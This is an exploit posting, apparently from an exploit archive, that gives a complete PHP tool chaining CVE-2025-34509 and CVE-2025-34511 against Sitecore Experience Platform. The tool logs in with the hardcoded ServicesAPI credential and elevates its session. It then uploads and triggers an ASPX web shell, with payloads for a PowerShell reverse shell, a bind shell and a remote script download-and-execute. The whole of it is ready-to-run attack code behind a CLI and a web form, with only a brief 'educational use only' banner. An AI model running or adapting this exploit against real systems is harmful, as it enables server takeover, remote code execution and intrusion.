=============================================================================================================================================
| # Title     : Sitecore Experience Manager (XM) and Experience Platform (XP) v 10.1 File Upload & Hardcoded Credentials                    |
| # Author    : indoushka                                                                                                                   |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
| # Vendor    : https://www.sitecore.com/                                                                                                   |
=============================================================================================================================================

[+] Summary : 

             Critical Remote Code Execution vulnerability chain affecting Sitecore Experience Platform versions 10.0.0 through 10.4.x
			 combining hardcoded credentials with file upload vulnerabilities for complete system compromise.
 
[+]  POC : 

php poc.php  or http://127.0.0.1/poc.php 

<?php

class SitecoreXPExploit {
    private $target;
    private $port;
    private $ssl;
    private $base_path;
    private $timeout;
    private $cookies;
    private $is_logged;
    private $is_elevated;
    private $webshell;
    private $item_uri;
    
    public function __construct($target, $port = 443, $ssl = true, $base_path = '/') {
        $this->target = $target;
        $this->port = $port;
        $this->ssl = $ssl;
        $this->base_path = rtrim($base_path, '/');
        $this->timeout = 30;
        $this->cookies = [];
        $this->is_logged = false;
        $this->is_elevated = false;
        $this->webshell = null;
        $this->item_uri = null;
    }

    public function check() {
        echo "[*] Checking Sitecore XP vulnerability...\n";

        if (!$this->login_identitysrv('ServicesAPI', 'b')) {
            echo "[-] Could not log in, application might not be Sitecore\n";
            return "unknown";
        }
        
        $this->is_logged = true;
        echo "[+] Successfully logged in with hardcoded credentials\n";

        if (!$this->get_identity_cookies()) {
            echo "[-] Could not get elevated cookies\n";
            return "safe";
        }
        
        $this->is_elevated = true;
        echo "[+] Obtained elevated cookies\n";

        $res = $this->send_request(
            '/sitecore%20modules/Shell/PowerShell/UploadFile/PowerShellUploadFile2.aspx',
            'GET',
            ['hdl' => '1245516121']
        );
        
        if (!$res || $res['code'] != 200) {
            echo "[-] PowerShell extension not detected\n";
            return "safe";
        }
        
        echo "[+] ✓ PowerShell extension detected - target is vulnerable\n";

        $version = $this->get_version();
        if ($version) {
            echo "[+] Sitecore version: $version\n";
        }
        
        return "vulnerable";
    }

    private function login_identitysrv($username, $password) {
        $login_data = [
            'username' => $username,
            'password' => $password,
            'grant_type' => 'password',
            'scope' => 'openid profile sitecore.profile api offline_access',
            'client_id' => 'SitecoreShell',
            'client_secret' => 'secret'
        ];
        
        $res = $this->send_request(
            '/identity/connect/token',
            'POST',
            [],
            http_build_query($login_data),
            ['Content-Type: application/x-www-form-urlencoded']
        );
        
        if ($res && $res['code'] == 200) {
            $json = json_decode($res['body'], true);
            if (isset($json['access_token'])) {
                $this->cookies['access_token'] = $json['access_token'];
                return true;
            }
        }
        
        return false;
    }

    private function get_identity_cookies() {
        $headers = [
            'Authorization: Bearer ' . $this->cookies['access_token']
        ];
        
        $res = $this->send_request(
            '/identity/connect/authorize',
            'GET',
            [
                'client_id' => 'SitecoreShell',
                'scope' => 'openid profile sitecore.profile api offline_access',
                'response_type' => 'code',
                'redirect_uri' => $this->build_url('/sitecore/login?returnUrl=%2fsitecore'),
                'state' => $this->random_text(10),
                'nonce' => $this->random_text(10)
            ],
            null,
            $headers
        );
        
        if ($res && $res['code'] == 302) {

            if (preg_match_all('/Set-Cookie:\s*([^=]+)=([^;]+)/i', $res['headers'], $matches)) {
                for ($i = 0; $i < count($matches[1]); $i++) {
                    $this->cookies[$matches[1][$i]] = $matches[2][$i];
                }
                return true;
            }
        }
        
        return false;
    }

    private function get_version() {
        $res = $this->send_request('/sitecore');
        if ($res && $res['code'] == 200) {
            // Try to extract version from page
            if (preg_match('/Sitecore\s*([0-9]+\.[0-9]+\.[0-9]+)/i', $res['body'], $matches)) {
                return $matches[1];
            }
        }
        return "Unknown";
    }

    private function upload_webshell() {
        $this->webshell = $this->random_text(15) . '.aspx';
        $this->item_uri = $this->random_text(8);

        $aspx_shell = $this->generate_aspx_shell();

        $boundary = '----WebKitFormBoundary' . $this->random_text(16);
        
        $data = "--{$boundary}\r\n";
        $data .= "Content-Disposition: form-data; name=\"ItemUri\"\r\n\r\n";
        $data .= "{$this->item_uri}\r\n";       
        $data .= "--{$boundary}\r\n";
        $data .= "Content-Disposition: form-data; name=\"LanguageName\"\r\n\r\n";
        $data .= "en\r\n";        
        $data .= "--{$boundary}\r\n";
        $data .= "Content-Disposition: form-data; name=\"Overwrite\"\r\n\r\n";
        $data .= "0\r\n";      
        $data .= "--{$boundary}\r\n";
        $data .= "Content-Disposition: form-data; name=\"Unpack\"\r\n\r\n";
        $data .= "0\r\n";       
        $data .= "--{$boundary}\r\n";
        $data .= "Content-Disposition: form-data; name=\"Versioned\"\r\n\r\n";
        $data .= "en\r\n";      
        $data .= "--{$boundary}\r\n";
        $data .= "Content-Disposition: form-data; name=\"{$this->item_uri}\"; filename=\"{$this->webshell}\"\r\n";
        $data .= "Content-Type: text/plain\r\n\r\n";
        $data .= $aspx_shell . "\r\n";
        
        $data .= "--{$boundary}--\r\n";
        
        $headers = [
            "Content-Type: multipart/form-data; boundary={$boundary}",
            "Content-Length: " . strlen($data)
        ];

        $cookie_header = $this->build_cookie_header();
        if ($cookie_header) {
            $headers[] = $cookie_header;
        }
        
        $res = $this->send_request(
            '/sitecore%20modules/Shell/PowerShell/UploadFile/PowerShellUploadFile2.aspx',
            'POST',
            ['hdl' => '1245516121'],
            $data,
            $headers
        );
        
        return $res && $res['code'] == 200;
    }

    private function generate_aspx_shell($payload_type = 'cmd', $lhost = null, $lport = null) {
        $command = $this->generate_payload($payload_type, $lhost, $lport);
        
        $aspx = '<%@ Page Language="C#" %>';
        $aspx .= '<%@ Import Namespace="System.Diagnostics" %>';
        $aspx .= '<%@ Import Namespace="System.IO" %>';
        $aspx .= '<script runat="server">';
        $aspx .= 'void Page_Load(object sender, EventArgs e) {';
        $aspx .= '    try {';
        $aspx .= '        ProcessStartInfo psi = new ProcessStartInfo();';
        $aspx .= '        psi.FileName = "cmd.exe";';
        $aspx .= '        psi.Arguments = "/c ' . addslashes($command) . '";';
        $aspx .= '        psi.RedirectStandardOutput = true;';
        $aspx .= '        psi.UseShellExecute = false;';
        $aspx .= '        Process p = Process.Start(psi);';
        $aspx .= '        string output = p.StandardOutput.ReadToEnd();';
        $aspx .= '        p.WaitForExit();';
        $aspx .= '        Response.Write("<pre>" + Server.HtmlEncode(output) + "</pre>");';
        $aspx .= '    } catch (Exception ex) {';
        $aspx .= '        Response.Write("Error: " + Server.HtmlEncode(ex.Message));';
        $aspx .= '    }';
        $aspx .= '}';
        $aspx .= '</script>';
        
        return $aspx;
    }
    private function trigger_webshell() {
        if (!$this->webshell || !$this->item_uri) {
            return false;
        }
        
        $res = $this->send_request(
            "/sitecore%20modules/Shell/PowerShell/UploadFile/{$this->item_uri}/{$this->webshell}",
            'GET'
        );
        
        return $res !== false;
    }

    public function exploit($payload_type = 'cmd', $lhost = null, $lport = null) {
        echo "[*] Starting Sitecore XP exploitation...\n";

        if (!$this->is_logged && !$this->login_identitysrv('ServicesAPI', 'b')) {
            echo "[-] Failed to log in with hardcoded credentials\n";
            return false;
        }
        
        $this->is_logged = true;
        echo "[+] Logged in successfully\n";

        if (!$this->is_elevated && !$this->get_identity_cookies()) {
            echo "[-] Failed to get elevated cookies\n";
            return false;
        }
        
        $this->is_elevated = true;
        echo "[+] Obtained elevated cookies\n";
        echo "[*] Uploading web shell...\n";
        if (!$this->upload_webshell()) {
            echo "[-] Failed to upload web shell\n";
            return false;
        }
        
        echo "[+] Web shell uploaded: {$this->webshell}\n";
        echo "[*] Triggering web shell execution...\n";
        if ($this->trigger_webshell()) {
            echo "[+] ✓ Web shell triggered successfully\n";
            echo "[*] Check your listener for connection\n";
            return true;
        } else {
            echo "[-] Failed to trigger web shell\n";
            return false;
        }
    }

    private function generate_payload($type, $lhost, $lport) {
        switch ($type) {
            case 'reverse_shell':
                if (!$lhost || !$lport) {
                    return 'whoami & hostname & ipconfig';
                }

                return "powershell -nop -c \"\$client = New-Object System.Net.Sockets.TCPClient('{$lhost}',{$lport});\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};\$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (pwd).Path + '> ');\$stream.Write(\$sendbytes,0,\$sendbytes.Length);while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);}\"";
                
            case 'bind_shell':
                if (!$lport) {
                    return 'whoami & hostname & systeminfo';
                }
                return "powershell -nop -c \"\$listener = New-Object System.Net.Sockets.TcpListener({$lport});\$listener.Start();while(\$true){\$client = \$listener.AcceptTcpClient();\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};\$data = \$stream.Read(\$bytes, 0, \$bytes.Length);\$input = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$data);\$sendback = (iex \$input 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);}\"";
                
            case 'meterpreter':
                if (!$lhost || !$lport) {
                    return 'whoami & hostname';
                }

                return "powershell -nop -c \"IEX (New-Object Net.WebClient).DownloadString('http://{$lhost}:8080/payload.ps1')\"";
                
            case 'cmd':
            default:
                return 'whoami & hostname & ipconfig & dir C:\\';
        }
    }

    private function send_request($path, $method = 'GET', $params = [], $data = null, $custom_headers = []) {
        $url = $this->build_url($path);
        
        if ($method == 'GET' && !empty($params)) {
            $url .= '?' . http_build_query($params);
        }
        
        $ch = curl_init();
        curl_setopt_array($ch, [
            CURLOPT_URL => $url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_TIMEOUT => $this->timeout,
            CURLOPT_SSL_VERIFYPEER => false,
            CURLOPT_SSL_VERIFYHOST => false,
            CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
            CURLOPT_HEADER => true,
            CURLOPT_CUSTOMREQUEST => $method,
            CURLOPT_FOLLOWLOCATION => false
        ]);

        if ($method == 'POST' && $data) {
            curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
        }

        $headers = array_merge([
            'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        ], $custom_headers);

        $cookie_header = $this->build_cookie_header();
        if ($cookie_header) {
            $headers[] = $cookie_header;
        }
        
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
        
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        if ($response) {
            $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
            $headers = substr($response, 0, $header_size);
            $body = substr($response, $header_size);
            
            return [
                'code' => $http_code,
                'headers' => $headers,
                'body' => $body
            ];
        }
        
        return false;
    }

    private function build_cookie_header() {
        if (empty($this->cookies)) {
            return null;
        }
        
        $cookie_parts = [];
        foreach ($this->cookies as $name => $value) {
            $cookie_parts[] = "{$name}={$value}";
        }
        
        return 'Cookie: ' . implode('; ', $cookie_parts);
    }

    private function random_text($length = 8) {
        $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
        $result = '';
        for ($i = 0; $i < $length; $i++) {
            $result .= $chars[rand(0, strlen($chars) - 1)];
        }
        return $result;
    }

    private function build_url($path) {
        $protocol = $this->ssl ? 'https' : 'http';
        $full_path = $this->base_path . $path;
        return "{$protocol}://{$this->target}:{$this->port}{$full_path}";
    }
}

if (php_sapi_name() === 'cli') {
    echo "
    ╔══════════════════════════════════════════════════════════════╗
    ║                 Sitecore XP RCE Exploit                     ║
    ║               CVE-2025-34511 & CVE-2025-34509               ║
    ║                     PHP Implementation                      ║
    ╚══════════════════════════════════════════════════════════════╝
    
    \n";
    
    $options = getopt("t:p:s:u:c:P:L:H:", [
        "target:",
        "port:",
        "ssl",
        "uri:",
        "check",
        "payload:",
        "lhost:",
        "lport:"
    ]);
    
    $target = $options['t'] ?? $options['target'] ?? null;
    $port = $options['p'] ?? $options['port'] ?? 443;
    $ssl = isset($options['s']) || isset($options['ssl']);
    $base_uri = $options['u'] ?? $options['uri'] ?? '/';
    $check_only = isset($options['c']) || isset($options['check']);
    $payload_type = $options['P'] ?? $options['payload'] ?? 'cmd';
    $lhost = $options['H'] ?? $options['lhost'] ?? null;
    $lport = $options['L'] ?? $options['lport'] ?? 4444;
    
    if (!$target) {
        echo "Usage: php sitecore_exploit.php [options]\n";
        echo "Options:\n";
        echo "  -t, --target    Target host (required)\n";
        echo "  -p, --port      Target port (default: 443)\n";
        echo "  -s, --ssl       Use SSL (default: true)\n";
        echo "  -u, --uri       Base URI path (default: /)\n";
        echo "  -c, --check     Check only (don't exploit)\n";
        echo "  -P, --payload   Payload type: cmd, reverse_shell, bind_shell, meterpreter (default: cmd)\n";
        echo "  -H, --lhost     Listener host for reverse shell\n";
        echo "  -L, --lport     Listener port for reverse shell (default: 4444)\n";
        echo "\nExamples:\n";
        echo "  php sitecore_exploit.php -t 192.168.1.100 -c\n";
        echo "  php sitecore_exploit.php -t sitecore.company.com -P reverse_shell -H 10.0.0.5 -L 4444\n";
        exit(1);
    }
    
    $exploit = new SitecoreXPExploit($target, $port, $ssl, $base_uri);
    
    if ($check_only) {
        $result = $exploit->check();
        echo "\n[*] Result: {$result}\n";
    } else {
        if ($exploit->exploit($payload_type, $lhost, $lport)) {
            echo "[+] Exploitation completed successfully\n";
        } else {
            echo "[-] Exploitation failed\n";
        }
    }
    
} else {

    $action = $_POST['action'] ?? '';
    
    if ($action === 'check' || $action === 'exploit') {
        $target = $_POST['target'] ?? '';
        $port = $_POST['port'] ?? 443;
        $ssl = isset($_POST['ssl']);
        $base_uri = $_POST['uri'] ?? '/';
        $payload_type = $_POST['payload_type'] ?? 'cmd';
        $lhost = $_POST['lhost'] ?? '';
        $lport = $_POST['lport'] ?? 4444;
        
        if (empty($target)) {
            echo "<div style='color: red; padding: 10px; border: 1px solid red; margin: 10px;'>Target host is required</div>";
        } else {
            $exploit = new SitecoreXPExploit($target, $port, $ssl, $base_uri);
            
            ob_start();
            if ($action === 'check') {
                $exploit->check();
            } else {
                $exploit->exploit($payload_type, $lhost, $lport);
            }
            $output = ob_get_clean();
            
            echo "<pre style='background: #f4f4f4; padding: 15px; border: 1px solid #ddd; border-radius: 4px;'>$output</pre>";
        }
        
        echo '<a href="' . htmlspecialchars($_SERVER['PHP_SELF']) . '" style="display: inline-block; padding: 10px 20px; background: #007cba; color: white; text-decoration: none; border-radius: 4px; margin: 10px 0;">Back to Form</a>';
        
    } else {
        echo '<!DOCTYPE html>
        <html>
        <head>
            <title>Sitecore XP RCE Exploit</title>
            <meta charset="UTF-8">
            <style>
                body { 
                    font-family: Arial, sans-serif; 
                    margin: 0; 
                    padding: 20px; 
                    background: #f5f5f5;
                }
                .container { 
                    max-width: 800px; 
                    margin: 0 auto; 
                    background: white;
                    padding: 30px;
                    border-radius: 8px;
                    box-shadow: 0 2px 10px rgba(0,0,0,0.1);
                }
                h1 { 
                    color: #333; 
                    border-bottom: 2px solid #007cba;
                    padding-bottom: 10px;
                }
                h3 {
                    color: #666;
                }
                .form-group { 
                    margin-bottom: 20px; 
                }
                label { 
                    display: block; 
                    margin-bottom: 8px; 
                    font-weight: bold;
                    color: #333;
                }
                input[type="text"], select { 
                    width: 100%; 
                    padding: 10px; 
                    border: 1px solid #ddd; 
                    border-radius: 4px; 
                    box-sizing: border-box;
                    font-size: 14px;
                }
                .checkbox-group {
                    display: flex;
                    align-items: center;
                    gap: 10px;
                }
                button { 
                    background: #007cba; 
                    color: white; 
                    padding: 12px 25px; 
                    border: none; 
                    border-radius: 4px; 
                    cursor: pointer; 
                    margin-right: 10px;
                    font-size: 16px;
                    transition: background 0.3s;
                }
                button:hover {
                    background: #005a87;
                }
                .danger { 
                    background: #dc3545; 
                }
                .danger:hover {
                    background: #c82333;
                }
                .info { 
                    background: #17a2b8; 
                }
                .info:hover {
                    background: #138496;
                }
                .warning-box {
                    background: #fff3cd;
                    border: 1px solid #ffeaa7;
                    color: #856404;
                    padding: 15px;
                    border-radius: 4px;
                    margin: 20px 0;
                }
                .info-box {
                    background: #d1ecf1;
                    border: 1px solid #bee5eb;
                    color: #0c5460;
                    padding: 15px;
                    border-radius: 4px;
                    margin: 20px 0;
                }
            </style>
        </head>
        <body>
            <div class="container">
                <h1>Sitecore XP RCE Exploit</h1>
                <h3>CVE-2025-34511 & CVE-2025-34509 - File Upload & Hardcoded Credentials</h3>
                
                <div class="warning-box">
                    <strong> Educational Use Only:</strong> This tool demonstrates critical vulnerabilities in Sitecore XP.
                    Use only on systems you own or have explicit permission to test.
                </div>
                
                <form method="post">
                    <div class="form-group">
                        <label for="target">Target Host:</label>
                        <input type="text" id="target" name="target" placeholder="192.168.1.100 or sitecore.company.com" required>
                    </div>
                    
                    <div class="form-group">
                        <label for="port">Port:</label>
                        <input type="text" id="port" name="port" value="443">
                    </div>
                    
                    <div class="form-group">
                        <label for="uri">Base URI:</label>
                        <input type="text" id="uri" name="uri" value="/">
                    </div>
                    
                    <div class="form-group">
                        <div class="checkbox-group">
                            <input type="checkbox" id="ssl" name="ssl" checked>
                            <label for="ssl" style="display: inline; font-weight: normal;">Use SSL</label>
                        </div>
                    </div>
                    
                    <div class="form-group">
                        <label for="payload_type">Payload Type:</label>
                        <select id="payload_type" name="payload_type">
                            <option value="cmd">Test Command</option>
                            <option value="reverse_shell">Reverse Shell</option>
                            <option value="bind_shell">Bind Shell</option>
                            <option value="meterpreter">Meterpreter</option>
                        </select>
                    </div>
                    
                    <div class="form-group">
                        <label for="lhost">Listener Host (for reverse shell):</label>
                        <input type="text" id="lhost" name="lhost" placeholder="Your IP address: 192.168.1.100">
                    </div>
                    
                    <div class="form-group">
                        <label for="lport">Listener Port (for reverse shell):</label>
                        <input type="text" id="lport" name="lport" value="4444">
                    </div>
                    
                    <button type="submit" name="action" value="check" class="info">Check Vulnerability</button>
                    <button type="submit" name="action" value="exploit" class="danger">Execute Exploit</button>
                </form>
                
                <div class="info-box">
                    <h3>About the CVEs:</h3>
                    <p><strong>CVE-2025-34509:</strong> Hardcoded credentials for ServicesAPI account (username: ServicesAPI, password: b)</p>
                    <p><strong>CVE-2025-34511:</strong> File upload vulnerability in PowerShell extensions</p>
                    <p><strong>Affected Versions:</strong> Sitecore XP 10.0.0 to 10.4.x</p>
                    <p><strong>Impact:</strong> Remote Code Execution via file upload</p>
                    <p><strong>Exploit Chain:</strong> Hardcoded Credentials → Authentication → File Upload → RCE</p>
                </div>
            </div>
        </body>
        </html>';
    }
}
?>


Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================